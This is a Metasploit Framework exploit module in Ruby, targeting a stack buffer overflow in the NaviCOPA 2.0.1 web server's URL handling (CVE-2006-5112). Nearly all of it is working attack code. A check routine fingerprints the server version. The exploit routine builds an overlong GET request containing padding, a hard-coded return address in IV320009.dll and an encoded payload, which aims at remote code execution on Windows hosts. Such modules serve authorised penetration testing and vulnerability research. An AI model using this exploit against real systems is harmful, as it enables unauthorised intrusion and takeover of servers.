NaviCOPA 2.0.1 URL Handling Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'NaviCOPA 2.0.1 URL Handling Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in NaviCOPA 2.0.1.   
The vulnerability is caused due to a boundary error within the  
handling of URL parameters.  
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2006-5112' ],  
[ 'OSVDB', '29257' ],  
[ 'BID', '20250' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 400,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
['NaviCOPA 2.0.1 Universal', { 'Ret' => 0x1009b4ff }], # IV320009.dll  
],  
'DisclosureDate' => 'Sep 28 2006',  
'DefaultTarget' => 0))  
  
register_options( [ Opt::RPORT(80) ], self.class )  
end  
  
def check  
connect  
  
sock.put("GET / HTTP/1.0\r\n\r\n")  
resp = sock.get_once  
disconnect  
  
if (resp =~ /2.01 11th September/)  
return Exploit::CheckCode::Vulnerable  
end   
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
sploit = rand_text_alphanumeric(228, payload_badchars)  
sploit << [target.ret].pack('V') + payload.encoded   
  
uri = '/' + sploit  
  
res = "GET #{uri} HTTP/1.1\r\n\r\n"  
  
print_status("Trying target %s" % target.name)  
  
sock.put(res)  
sock.close  
  
handler  
disconnect  
end  
  
end  
`